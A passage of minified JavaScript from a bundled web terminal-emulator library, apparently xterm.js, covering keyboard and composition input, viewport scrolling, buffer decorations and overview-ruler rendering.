this.refresh(0,this.rows-1),t}deregisterCharacterJoiner(e){if(!this._characterJoinerService)throw new Error(\"Terminal must be opened first\");this._characterJoinerService.deregister(e)&&this.refresh(0,this.rows-1)}get markers(){return this.buffer.markers}registerMarker(e){return this.buffer.addMarker(this.buffer.ybase+this.buffer.y+e)}registerDecoration(e){return this._decorationService.registerDecoration(e)}hasSelection(){return!!this._selectionService&&this._selectionService.hasSelection}select(e,t,i){this._selectionService.setSelection(e,t,i)}getSelection(){return this._selectionService?this._selectionService.selectionText:\"\"}getSelectionPosition(){if(this._selectionService&&this._selectionService.hasSelection)return{start:{x:this._selectionService.selectionStart[0],y:this._selectionService.selectionStart[1]},end:{x:this._selectionService.selectionEnd[0],y:this._selectionService.selectionEnd[1]}}}clearSelection(){var e;null===(e=this._selectionService)||void 0===e||e.clearSelection()}selectAll(){var e;null===(e=this._selectionService)||void 0===e||e.selectAll()}selectLines(e,t){var i;null===(i=this._selectionService)||void 0===i||i.selectLines(e,t)}_keyDown(e){if(this._keyDownHandled=!1,this._keyDownSeen=!0,this._customKeyEventHandler&&!1===this._customKeyEventHandler(e))return!1;const t=this.browser.isMac&&this.options.macOptionIsMeta&&e.altKey;if(!t&&!this._compositionHelper.keydown(e))return this.options.scrollOnUserInput&&this.buffer.ybase!==this.buffer.ydisp&&this.scrollToBottom(),!1;t||\"Dead\"!==e.key&&\"AltGraph\"!==e.key||(this._unprocessedDeadKey=!0);const i=(0,R.evaluateKeyboardEvent)(e,this.coreService.decPrivateModes.applicationCursorKeys,this.browser.isMac,this.options.macOptionIsMeta);if(this.updateCursorStyle(e),3===i.type||2===i.type){const t=this.rows-1;return this.scrollLines(2===i.type?-t:t),this.cancel(e,!0)}return 1===i.type&&this.selectAll(),!!this._isThirdLevelShift(this.browser,e)||(i.cancel&&this.cancel(e,!0),!i.key||!!(e.key&&!e.ctrlKey&&!e.altKey&&!e.metaKey&&1===e.key.length&&e.key.charCodeAt(0)>=65&&e.key.charCodeAt(0)<=90)||(this._unprocessedDeadKey?(this._unprocessedDeadKey=!1,!0):(i.key!==D.C0.ETX&&i.key!==D.C0.CR||(this.textarea.value=\"\"),this._onKey.fire({key:i.key,domEvent:e}),this._showCursor(),this.coreService.triggerDataEvent(i.key,!0),!this.optionsService.rawOptions.screenReaderMode||e.altKey||e.ctrlKey?this.cancel(e,!0):void(this._keyDownHandled=!0))))}_isThirdLevelShift(e,t){const i=e.isMac&&!this.options.macOptionIsMeta&&t.altKey&&!t.ctrlKey&&!t.metaKey||e.isWindows&&t.altKey&&t.ctrlKey&&!t.metaKey||e.isWindows&&t.getModifierState(\"AltGraph\");return\"keypress\"===t.type?i:i&&(!t.keyCode||t.keyCode>47)}_keyUp(e){this._keyDownSeen=!1,this._customKeyEventHandler&&!1===this._customKeyEventHandler(e)||(function(e){return 16===e.keyCode||17===e.keyCode||18===e.keyCode}(e)||this.focus(),this.updateCursorStyle(e),this._keyPressHandled=!1)}_keyPress(e){let t;if(this._keyPressHandled=!1,this._keyDownHandled)return!1;if(this._customKeyEventHandler&&!1===this._customKeyEventHandler(e))return!1;if(this.cancel(e),e.charCode)t=e.charCode;else if(null===e.which||void 0===e.which)t=e.keyCode;else{if(0===e.which||0===e.charCode)return!1;t=e.which}return!(!t||(e.altKey||e.ctrlKey||e.metaKey)&&!this._isThirdLevelShift(this.browser,e)||(t=String.fromCharCode(t),this._onKey.fire({key:t,domEvent:e}),this._showCursor(),this.coreService.triggerDataEvent(t,!0),this._keyPressHandled=!0,this._unprocessedDeadKey=!1,0))}_inputEvent(e){if(e.data&&\"insertText\"===e.inputType&&(!e.composed||!this._keyDownSeen)&&!this.optionsService.rawOptions.screenReaderMode){if(this._keyPressHandled)return!1;this._unprocessedDeadKey=!1;const t=e.data;return this.coreService.triggerDataEvent(t,!0),this.cancel(e),!0}return!1}resize(e,t){e!==this.cols||t!==this.rows?super.resize(e,t):this._charSizeService&&!this._charSizeService.hasValidSize&&this._charSizeService.measure()}_afterResize(e,t){var i,s;null===(i=this._charSizeService)||void 0===i||i.measure(),null===(s=this.viewport)||void 0===s||s.syncScrollArea(!0)}clear(){var e;if(0!==this.buffer.ybase||0!==this.buffer.y){this.buffer.clearAllMarkers(),this.buffer.lines.set(0,this.buffer.lines.get(this.buffer.ybase+this.buffer.y)),this.buffer.lines.length=1,this.buffer.ydisp=0,this.buffer.ybase=0,this.buffer.y=0;for(let e=1;e<this.rows;e++)this.buffer.lines.push(this.buffer.getBlankLine(L.DEFAULT_ATTR_DATA));this._onScroll.fire({position:this.buffer.ydisp,source:0}),null===(e=this.viewport)||void 0===e||e.reset(),this.refresh(0,this.rows-1)}}reset(){var e,t;this.options.rows=this.rows,this.options.cols=this.cols;const i=this._customKeyEventHandler;this._setup(),super.reset(),null===(e=this._selectionService)||void 0===e||e.reset(),this._decorationService.reset(),null===(t=this.viewport)||void 0===t||t.reset(),this._customKeyEventHandler=i,this.refresh(0,this.rows-1)}clearTextureAtlas(){var e;null===(e=this._renderService)||void 0===e||e.clearTextureAtlas()}_reportFocus(){var e;(null===(e=this.element)||void 0===e?void 0:e.classList.contains(\"focus\"))?this.coreService.triggerDataEvent(D.C0.ESC+\"[I\"):this.coreService.triggerDataEvent(D.C0.ESC+\"[O\")}_reportWindowsOptions(e){if(this._renderService)switch(e){case T.WindowsOptionsReportType.GET_WIN_SIZE_PIXELS:const e=this._renderService.dimensions.css.canvas.width.toFixed(0),t=this._renderService.dimensions.css.canvas.height.toFixed(0);this.coreService.triggerDataEvent(`${D.C0.ESC}[4;${t};${e}t`);break;case T.WindowsOptionsReportType.GET_CELL_SIZE_PIXELS:const i=this._renderService.dimensions.css.cell.width.toFixed(0),s=this._renderService.dimensions.css.cell.height.toFixed(0);this.coreService.triggerDataEvent(`${D.C0.ESC}[6;${s};${i}t`)}}cancel(e,t){if(this.options.cancelEvents||t)return e.preventDefault(),e.stopPropagation(),!1}}t.Terminal=P},9924:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.TimeBasedDebouncer=void 0,t.TimeBasedDebouncer=class{constructor(e,t=1e3){this._renderCallback=e,this._debounceThresholdMS=t,this._lastRefreshMs=0,this._additionalRefreshRequested=!1}dispose(){this._refreshTimeoutID&&clearTimeout(this._refreshTimeoutID)}refresh(e,t,i){this._rowCount=i,e=void 0!==e?e:0,t=void 0!==t?t:this._rowCount-1,this._rowStart=void 0!==this._rowStart?Math.min(this._rowStart,e):e,this._rowEnd=void 0!==this._rowEnd?Math.max(this._rowEnd,t):t;const s=Date.now();if(s-this._lastRefreshMs>=this._debounceThresholdMS)this._lastRefreshMs=s,this._innerRefresh();else if(!this._additionalRefreshRequested){const e=s-this._lastRefreshMs,t=this._debounceThresholdMS-e;this._additionalRefreshRequested=!0,this._refreshTimeoutID=window.setTimeout((()=>{this._lastRefreshMs=Date.now(),this._innerRefresh(),this._additionalRefreshRequested=!1,this._refreshTimeoutID=void 0}),t)}}_innerRefresh(){if(void 0===this._rowStart||void 0===this._rowEnd||void 0===this._rowCount)return;const e=Math.max(this._rowStart,0),t=Math.min(this._rowEnd,this._rowCount-1);this._rowStart=void 0,this._rowEnd=void 0,this._renderCallback(e,t)}}},1680:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.Viewport=void 0;const n=i(3656),o=i(4725),a=i(8460),h=i(844),c=i(2585);let l=t.Viewport=class extends h.Disposable{constructor(e,t,i,s,r,o,h,c){super(),this._viewportElement=e,this._scrollArea=t,this._bufferService=i,this._optionsService=s,this._charSizeService=r,this._renderService=o,this._coreBrowserService=h,this.scrollBarWidth=0,this._currentRowHeight=0,this._currentDeviceCellHeight=0,this._lastRecordedBufferLength=0,this._lastRecordedViewportHeight=0,this._lastRecordedBufferHeight=0,this._lastTouchY=0,this._lastScrollTop=0,this._wheelPartialScroll=0,this._refreshAnimationFrame=null,this._ignoreNextScrollEvent=!1,this._smoothScrollState={startTime:0,origin:-1,target:-1},this._onRequestScrollLines=this.register(new a.EventEmitter),this.onRequestScrollLines=this._onRequestScrollLines.event,this.scrollBarWidth=this._viewportElement.offsetWidth-this._scrollArea.offsetWidth||15,this.register((0,n.addDisposableDomListener)(this._viewportElement,\"scroll\",this._handleScroll.bind(this))),this._activeBuffer=this._bufferService.buffer,this.register(this._bufferService.buffers.onBufferActivate((e=>this._activeBuffer=e.activeBuffer))),this._renderDimensions=this._renderService.dimensions,this.register(this._renderService.onDimensionsChange((e=>this._renderDimensions=e))),this._handleThemeChange(c.colors),this.register(c.onChangeColors((e=>this._handleThemeChange(e)))),this.register(this._optionsService.onSpecificOptionChange(\"scrollback\",(()=>this.syncScrollArea()))),setTimeout((()=>this.syncScrollArea()))}_handleThemeChange(e){this._viewportElement.style.backgroundColor=e.background.css}reset(){this._currentRowHeight=0,this._currentDeviceCellHeight=0,this._lastRecordedBufferLength=0,this._lastRecordedViewportHeight=0,this._lastRecordedBufferHeight=0,this._lastTouchY=0,this._lastScrollTop=0,this._coreBrowserService.window.requestAnimationFrame((()=>this.syncScrollArea()))}_refresh(e){if(e)return this._innerRefresh(),void(null!==this._refreshAnimationFrame&&this._coreBrowserService.window.cancelAnimationFrame(this._refreshAnimationFrame));null===this._refreshAnimationFrame&&(this._refreshAnimationFrame=this._coreBrowserService.window.requestAnimationFrame((()=>this._innerRefresh())))}_innerRefresh(){if(this._charSizeService.height>0){this._currentRowHeight=this._renderService.dimensions.device.cell.height/this._coreBrowserService.dpr,this._currentDeviceCellHeight=this._renderService.dimensions.device.cell.height,this._lastRecordedViewportHeight=this._viewportElement.offsetHeight;const e=Math.round(this._currentRowHeight*this._lastRecordedBufferLength)+(this._lastRecordedViewportHeight-this._renderService.dimensions.css.canvas.height);this._lastRecordedBufferHeight!==e&&(this._lastRecordedBufferHeight=e,this._scrollArea.style.height=this._lastRecordedBufferHeight+\"px\")}const e=this._bufferService.buffer.ydisp*this._currentRowHeight;this._viewportElement.scrollTop!==e&&(this._ignoreNextScrollEvent=!0,this._viewportElement.scrollTop=e),this._refreshAnimationFrame=null}syncScrollArea(e=!1){if(this._lastRecordedBufferLength!==this._bufferService.buffer.lines.length)return this._lastRecordedBufferLength=this._bufferService.buffer.lines.length,void this._refresh(e);this._lastRecordedViewportHeight===this._renderService.dimensions.css.canvas.height&&this._lastScrollTop===this._activeBuffer.ydisp*this._currentRowHeight&&this._renderDimensions.device.cell.height===this._currentDeviceCellHeight||this._refresh(e)}_handleScroll(e){if(this._lastScrollTop=this._viewportElement.scrollTop,!this._viewportElement.offsetParent)return;if(this._ignoreNextScrollEvent)return this._ignoreNextScrollEvent=!1,void this._onRequestScrollLines.fire({amount:0,suppressScrollEvent:!0});const t=Math.round(this._lastScrollTop/this._currentRowHeight)-this._bufferService.buffer.ydisp;this._onRequestScrollLines.fire({amount:t,suppressScrollEvent:!0})}_smoothScroll(){if(this._isDisposed||-1===this._smoothScrollState.origin||-1===this._smoothScrollState.target)return;const e=this._smoothScrollPercent();this._viewportElement.scrollTop=this._smoothScrollState.origin+Math.round(e*(this._smoothScrollState.target-this._smoothScrollState.origin)),e<1?this._coreBrowserService.window.requestAnimationFrame((()=>this._smoothScroll())):this._clearSmoothScrollState()}_smoothScrollPercent(){return this._optionsService.rawOptions.smoothScrollDuration&&this._smoothScrollState.startTime?Math.max(Math.min((Date.now()-this._smoothScrollState.startTime)/this._optionsService.rawOptions.smoothScrollDuration,1),0):1}_clearSmoothScrollState(){this._smoothScrollState.startTime=0,this._smoothScrollState.origin=-1,this._smoothScrollState.target=-1}_bubbleScroll(e,t){const i=this._viewportElement.scrollTop+this._lastRecordedViewportHeight;return!(t<0&&0!==this._viewportElement.scrollTop||t>0&&i<this._lastRecordedBufferHeight)||(e.cancelable&&e.preventDefault(),!1)}handleWheel(e){const t=this._getPixelsScrolled(e);return 0!==t&&(this._optionsService.rawOptions.smoothScrollDuration?(this._smoothScrollState.startTime=Date.now(),this._smoothScrollPercent()<1?(this._smoothScrollState.origin=this._viewportElement.scrollTop,-1===this._smoothScrollState.target?this._smoothScrollState.target=this._viewportElement.scrollTop+t:this._smoothScrollState.target+=t,this._smoothScrollState.target=Math.max(Math.min(this._smoothScrollState.target,this._viewportElement.scrollHeight),0),this._smoothScroll()):this._clearSmoothScrollState()):this._viewportElement.scrollTop+=t,this._bubbleScroll(e,t))}scrollLines(e){if(0!==e)if(this._optionsService.rawOptions.smoothScrollDuration){const t=e*this._currentRowHeight;this._smoothScrollState.startTime=Date.now(),this._smoothScrollPercent()<1?(this._smoothScrollState.origin=this._viewportElement.scrollTop,this._smoothScrollState.target=this._smoothScrollState.origin+t,this._smoothScrollState.target=Math.max(Math.min(this._smoothScrollState.target,this._viewportElement.scrollHeight),0),this._smoothScroll()):this._clearSmoothScrollState()}else this._onRequestScrollLines.fire({amount:e,suppressScrollEvent:!1})}_getPixelsScrolled(e){if(0===e.deltaY||e.shiftKey)return 0;let t=this._applyScrollModifier(e.deltaY,e);return e.deltaMode===WheelEvent.DOM_DELTA_LINE?t*=this._currentRowHeight:e.deltaMode===WheelEvent.DOM_DELTA_PAGE&&(t*=this._currentRowHeight*this._bufferService.rows),t}getBufferElements(e,t){var i;let s,r=\"\";const n=[],o=null!=t?t:this._bufferService.buffer.lines.length,a=this._bufferService.buffer.lines;for(let t=e;t<o;t++){const e=a.get(t);if(!e)continue;const o=null===(i=a.get(t+1))||void 0===i?void 0:i.isWrapped;if(r+=e.translateToString(!o),!o||t===a.length-1){const e=document.createElement(\"div\");e.textContent=r,n.push(e),r.length>0&&(s=e),r=\"\"}}return{bufferElements:n,cursorElement:s}}getLinesScrolled(e){if(0===e.deltaY||e.shiftKey)return 0;let t=this._applyScrollModifier(e.deltaY,e);return e.deltaMode===WheelEvent.DOM_DELTA_PIXEL?(t/=this._currentRowHeight+0,this._wheelPartialScroll+=t,t=Math.floor(Math.abs(this._wheelPartialScroll))*(this._wheelPartialScroll>0?1:-1),this._wheelPartialScroll%=1):e.deltaMode===WheelEvent.DOM_DELTA_PAGE&&(t*=this._bufferService.rows),t}_applyScrollModifier(e,t){const i=this._optionsService.rawOptions.fastScrollModifier;return\"alt\"===i&&t.altKey||\"ctrl\"===i&&t.ctrlKey||\"shift\"===i&&t.shiftKey?e*this._optionsService.rawOptions.fastScrollSensitivity*this._optionsService.rawOptions.scrollSensitivity:e*this._optionsService.rawOptions.scrollSensitivity}handleTouchStart(e){this._lastTouchY=e.touches[0].pageY}handleTouchMove(e){const t=this._lastTouchY-e.touches[0].pageY;return this._lastTouchY=e.touches[0].pageY,0!==t&&(this._viewportElement.scrollTop+=t,this._bubbleScroll(e,t))}};t.Viewport=l=s([r(2,c.IBufferService),r(3,c.IOptionsService),r(4,o.ICharSizeService),r(5,o.IRenderService),r(6,o.ICoreBrowserService),r(7,o.IThemeService)],l)},3107:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.BufferDecorationRenderer=void 0;const n=i(3656),o=i(4725),a=i(844),h=i(2585);let c=t.BufferDecorationRenderer=class extends a.Disposable{constructor(e,t,i,s){super(),this._screenElement=e,this._bufferService=t,this._decorationService=i,this._renderService=s,this._decorationElements=new Map,this._altBufferIsActive=!1,this._dimensionsChanged=!1,this._container=document.createElement(\"div\"),this._container.classList.add(\"xterm-decoration-container\"),this._screenElement.appendChild(this._container),this.register(this._renderService.onRenderedViewportChange((()=>this._doRefreshDecorations()))),this.register(this._renderService.onDimensionsChange((()=>{this._dimensionsChanged=!0,this._queueRefresh()}))),this.register((0,n.addDisposableDomListener)(window,\"resize\",(()=>this._queueRefresh()))),this.register(this._bufferService.buffers.onBufferActivate((()=>{this._altBufferIsActive=this._bufferService.buffer===this._bufferService.buffers.alt}))),this.register(this._decorationService.onDecorationRegistered((()=>this._queueRefresh()))),this.register(this._decorationService.onDecorationRemoved((e=>this._removeDecoration(e)))),this.register((0,a.toDisposable)((()=>{this._container.remove(),this._decorationElements.clear()})))}_queueRefresh(){void 0===this._animationFrame&&(this._animationFrame=this._renderService.addRefreshCallback((()=>{this._doRefreshDecorations(),this._animationFrame=void 0})))}_doRefreshDecorations(){for(const e of this._decorationService.decorations)this._renderDecoration(e);this._dimensionsChanged=!1}_renderDecoration(e){this._refreshStyle(e),this._dimensionsChanged&&this._refreshXPosition(e)}_createElement(e){var t,i;const s=document.createElement(\"div\");s.classList.add(\"xterm-decoration\"),s.classList.toggle(\"xterm-decoration-top-layer\",\"top\"===(null===(t=null==e?void 0:e.options)||void 0===t?void 0:t.layer)),s.style.width=`${Math.round((e.options.width||1)*this._renderService.dimensions.css.cell.width)}px`,s.style.height=(e.options.height||1)*this._renderService.dimensions.css.cell.height+\"px\",s.style.top=(e.marker.line-this._bufferService.buffers.active.ydisp)*this._renderService.dimensions.css.cell.height+\"px\",s.style.lineHeight=`${this._renderService.dimensions.css.cell.height}px`;const r=null!==(i=e.options.x)&&void 0!==i?i:0;return r&&r>this._bufferService.cols&&(s.style.display=\"none\"),this._refreshXPosition(e,s),s}_refreshStyle(e){const t=e.marker.line-this._bufferService.buffers.active.ydisp;if(t<0||t>=this._bufferService.rows)e.element&&(e.element.style.display=\"none\",e.onRenderEmitter.fire(e.element));else{let i=this._decorationElements.get(e);i||(i=this._createElement(e),e.element=i,this._decorationElements.set(e,i),this._container.appendChild(i),e.onDispose((()=>{this._decorationElements.delete(e),i.remove()}))),i.style.top=t*this._renderService.dimensions.css.cell.height+\"px\",i.style.display=this._altBufferIsActive?\"none\":\"block\",e.onRenderEmitter.fire(i)}}_refreshXPosition(e,t=e.element){var i;if(!t)return;const s=null!==(i=e.options.x)&&void 0!==i?i:0;\"right\"===(e.options.anchor||\"left\")?t.style.right=s?s*this._renderService.dimensions.css.cell.width+\"px\":\"\":t.style.left=s?s*this._renderService.dimensions.css.cell.width+\"px\":\"\"}_removeDecoration(e){var t;null===(t=this._decorationElements.get(e))||void 0===t||t.remove(),this._decorationElements.delete(e),e.dispose()}};t.BufferDecorationRenderer=c=s([r(1,h.IBufferService),r(2,h.IDecorationService),r(3,o.IRenderService)],c)},5871:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.ColorZoneStore=void 0,t.ColorZoneStore=class{constructor(){this._zones=[],this._zonePool=[],this._zonePoolIndex=0,this._linePadding={full:0,left:0,center:0,right:0}}get zones(){return this._zonePool.length=Math.min(this._zonePool.length,this._zones.length),this._zones}clear(){this._zones.length=0,this._zonePoolIndex=0}addDecoration(e){if(e.options.overviewRulerOptions){for(const t of this._zones)if(t.color===e.options.overviewRulerOptions.color&&t.position===e.options.overviewRulerOptions.position){if(this._lineIntersectsZone(t,e.marker.line))return;if(this._lineAdjacentToZone(t,e.marker.line,e.options.overviewRulerOptions.position))return void this._addLineToZone(t,e.marker.line)}if(this._zonePoolIndex<this._zonePool.length)return this._zonePool[this._zonePoolIndex].color=e.options.overviewRulerOptions.color,this._zonePool[this._zonePoolIndex].position=e.options.overviewRulerOptions.position,this._zonePool[this._zonePoolIndex].startBufferLine=e.marker.line,this._zonePool[this._zonePoolIndex].endBufferLine=e.marker.line,void this._zones.push(this._zonePool[this._zonePoolIndex++]);this._zones.push({color:e.options.overviewRulerOptions.color,position:e.options.overviewRulerOptions.position,startBufferLine:e.marker.line,endBufferLine:e.marker.line}),this._zonePool.push(this._zones[this._zones.length-1]),this._zonePoolIndex++}}setPadding(e){this._linePadding=e}_lineIntersectsZone(e,t){return t>=e.startBufferLine&&t<=e.endBufferLine}_lineAdjacentToZone(e,t,i){return t>=e.startBufferLine-this._linePadding[i||\"full\"]&&t<=e.endBufferLine+this._linePadding[i||\"full\"]}_addLineToZone(e,t){e.startBufferLine=Math.min(e.startBufferLine,t),e.endBufferLine=Math.max(e.endBufferLine,t)}}},5744:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.OverviewRulerRenderer=void 0;const n=i(5871),o=i(3656),a=i(4725),h=i(844),c=i(2585),l={full:0,left:0,center:0,right:0},d={full:0,left:0,center:0,right:0},_={full:0,left:0,center:0,right:0};let u=t.OverviewRulerRenderer=class extends h.Disposable{get _width(){return this._optionsService.options.overviewRulerWidth||0}constructor(e,t,i,s,r,o,a){var c;super(),this._viewportElement=e,this._screenElement=t,this._bufferService=i,this._decorationService=s,this._renderService=r,this._optionsService=o,this._coreBrowseService=a,this._colorZoneStore=new n.ColorZoneStore,this._shouldUpdateDimensions=!0,this._shouldUpdateAnchor=!0,this._lastKnownBufferLength=0,this._canvas=document.createElement(\"canvas\"),this._canvas.classList.add(\"xterm-decoration-overview-ruler\"),this._refreshCanvasDimensions(),null===(c=this._viewportElement.parentElement)||void 0===c||c.insertBefore(this._canvas,this._viewportElement);const l=this._canvas.getContext(\"2d\");if(!l)throw new Error(\"Ctx cannot be null\");this._ctx=l,this._registerDecorationListeners(),this._registerBufferChangeListeners(),this._registerDimensionChangeListeners(),this.register((0,h.toDisposable)((()=>{var e;null===(e=this._canvas)||void 0===e||e.remove()})))}_registerDecorationListeners(){this.register(this._decorationService.onDecorationRegistered((()=>this._queueRefresh(void 0,!0)))),this.register(this._decorationService.onDecorationRemoved((()=>this._queueRefresh(void 0,!0))))}_registerBufferChangeListeners(){this.register(this._renderService.onRenderedViewportChange((()=>this._queueRefresh()))),this.register(this._bufferService.buffers.onBufferActivate((()=>{this._canvas.style.display=this._bufferService.buffer===this._bufferService.buffers.alt?\"none\":\"block\"}))),this.register(this._bufferService.onScroll((()=>{this._lastKnownBufferLength!==this._bufferService.buffers.normal.lines.length&&(this._refreshDrawHeightConstants(),this._refreshColorZonePadding())})))}_registerDimensionChangeListeners(){this.register(this._renderService.onRender((()=>{this._containerHeight&&this._containerHeight===this._screenElement.clientHeight||(this._queueRefresh(!0),this._containerHeight=this._screenElement.clientHeight)}))),this.register(this._optionsService.onSpecificOptionChange(\"overviewRulerWidth\",(()=>this._queueRefresh(!0)))),this.register((0,o.addDisposableDomListener)(this._coreBrowseService.window,\"resize\",(()=>this._queueRefresh(!0)))),this._queueRefresh(!0)}_refreshDrawConstants(){const e=Math.floor(this._canvas.width/3),t=Math.ceil(this._canvas.width/3);d.full=this._canvas.width,d.left=e,d.center=t,d.right=e,this._refreshDrawHeightConstants(),_.full=0,_.left=0,_.center=d.left,_.right=d.left+d.center}_refreshDrawHeightConstants(){l.full=Math.round(2*this._coreBrowseService.dpr);const e=this._canvas.height/this._bufferService.buffer.lines.length,t=Math.round(Math.max(Math.min(e,12),6)*this._coreBrowseService.dpr);l.left=t,l.center=t,l.right=t}_refreshColorZonePadding(){this._colorZoneStore.setPadding({full:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*l.full),left:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*l.left),center:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*l.center),right:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*l.right)}),this._lastKnownBufferLength=this._bufferService.buffers.normal.lines.length}_refreshCanvasDimensions(){this._canvas.style.width=`${this._width}px`,this._canvas.width=Math.round(this._width*this._coreBrowseService.dpr),this._canvas.style.height=`${this._screenElement.clientHeight}px`,this._canvas.height=Math.round(this._screenElement.clientHeight*this._coreBrowseService.dpr),this._refreshDrawConstants(),this._refreshColorZonePadding()}_refreshDecorations(){this._shouldUpdateDimensions&&this._refreshCanvasDimensions(),this._ctx.clearRect(0,0,this._canvas.width,this._canvas.height),this._colorZoneStore.clear();for(const e of this._decorationService.decorations)this._colorZoneStore.addDecoration(e);this._ctx.lineWidth=1;const e=this._colorZoneStore.zones;for(const t of e)\"full\"!==t.position&&this._renderColorZone(t);for(const t of e)\"full\"===t.position&&this._renderColorZone(t);this._shouldUpdateDimensions=!1,this._shouldUpdateAnchor=!1}_renderColorZone(e){this._ctx.fillStyle=e.color,this._ctx.fillRect(_[e.position||\"full\"],Math.round((this._canvas.height-1)*(e.startBufferLine/this._bufferService.buffers.active.lines.length)-l[e.position||\"full\"]/2),d[e.position||\"full\"],Math.round((this._canvas.height-1)*((e.endBufferLine-e.startBufferLine)/this._bufferService.buffers.active.lines.length)+l[e.position||\"full\"]))}_queueRefresh(e,t){this._shouldUpdateDimensions=e||this._shouldUpdateDimensions,this._shouldUpdateAnchor=t||this._shouldUpdateAnchor,void 0===this._animationFrame&&(this._animationFrame=this._coreBrowseService.window.requestAnimationFrame((()=>{this._refreshDecorations(),this._animationFrame=void 0})))}};t.OverviewRulerRenderer=u=s([r(2,c.IBufferService),r(3,c.IDecorationService),r(4,a.IRenderService),r(5,c.IOptionsService),r(6,a.ICoreBrowserService)],u)},2950:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.CompositionHelper=void 0;const n=i(4725),o=i(2585),a=i(2584);let h=t.CompositionHelper=class{get isComposing(){return this._isComposing}constructor(e,t,i,s,r,n){this._textarea=e,this._compositionView=t,this._bufferService=i,this._optionsService=s,this._coreService=r,this._renderService=n,this._isComposing=!1,this._isSendingComposition=!1,this._compositionPosition={start:0,end:0},this._dataAlreadySent=\"\"}compositionstart(){this._isComposing=!0,this._compositionPosition.start=this._textarea.value.length,this._compositionView.textContent=\"\",this._dataAlreadySent=\"\",this._compositionView.classList.add(\"active\")}compositionupdate(e){this._compositionView.textContent=e.data,this.updateCompositionElements(),setTimeout((()=>{this._compositionPosition.end=this._textarea.value.length}),0)}compositionend(){this._finalizeComposition(!0)}keydown(e){if(this._isComposing||this._isSendingComposition){if(229===e.keyCode)return!1;if(16===e.keyCode||17===e.keyCode||18===e.keyCode)return!1;this._finalizeComposition(!1)}return 229!==e.keyCode||(this._handleAnyTextareaChanges(),!1)}_finalizeComposition(e){if(this._compositionView.classList.remove(\"active\"),this._isComposing=!1,e){const e={start:this._compositionPosition.start,end:this._compositionPosition.end};this._isSendingComposition=!0,setTimeout((()=>{if(this._isSendingComposition){let t;this._isSendingComposition=!1,e.start+=this._dataAlreadySent.length,t=this._isComposing?this._textarea.value.substring(e.start,e.end):this._textarea.value.substring(e.start),t.length>0&&this._coreService.triggerDataEvent(t,!0)}}),0)}else{this._isSendingComposition=!1;const e=this._textarea.value.substring(this._compositionPosition.start,this._compositionPosition.end);this._coreService.triggerDataEvent(e,!0)}}_handleAnyTextareaChanges(){const e=this._textarea.value;setTimeout((()=>{if(!this._isComposing){const t=this._textarea.value,i=t.replace(e,\"\");this._dataAlreadySent=i,t.length>e.length?this._coreService.triggerDataEvent(i,!0):t.length<e.length?this._coreService.triggerDataEvent(`${a.C0.DEL}`,!0):t.length===e.length&&t!==e&&this._coreService.triggerDataEvent(t,!0)}}),0)}updateCompositionElements(e){if(this._isComposing){if(this._bufferService.buffer.isCursorInViewport){const e=Math.min(this._bufferService.buffer.x,this._bufferService.cols-1),t=this._renderService.dimensions.css.cell.height,i=this._bufferService.buffer.y*this._renderService.dimensions.css.cell.height,s=e*this._renderService.dimensions.css.cell.width;this._compositionView.style.left=s+\"px\",this._compositionView.style.top=i+\"px\",this._compositionView.style.height=t+\"px\",this._compositionView.style.lineHeight=t+\"px\",this._compositionView.style.fontFamily=this._optionsService.rawOptions.fontFamily,this._compositionView.style.fontSize=this._optionsService.rawOptions.fontSize+\"px\";const r=this._compositionView.getBoundingClientRect();this._textarea.style.left=s+\"px\",this._textarea.style.top=i+\"px\",this._textarea.style.width=Math.max(r.width,1)+\"px\",this._textarea.style.height=Math.max(r.height,1)+\"px\",this._textarea.style.lineHeight=r.height+\"px\"}e||setTimeout((()=>this.updateCompositionElements(!0)),0)}}};t.CompositionHelper=h=s([r(2,o.IBufferService),r(3,o.IOptionsService),r(4,o.ICoreService),r(5,n.IRenderService)],h)},9806:(e,t)=>{function i(e,t,i){const 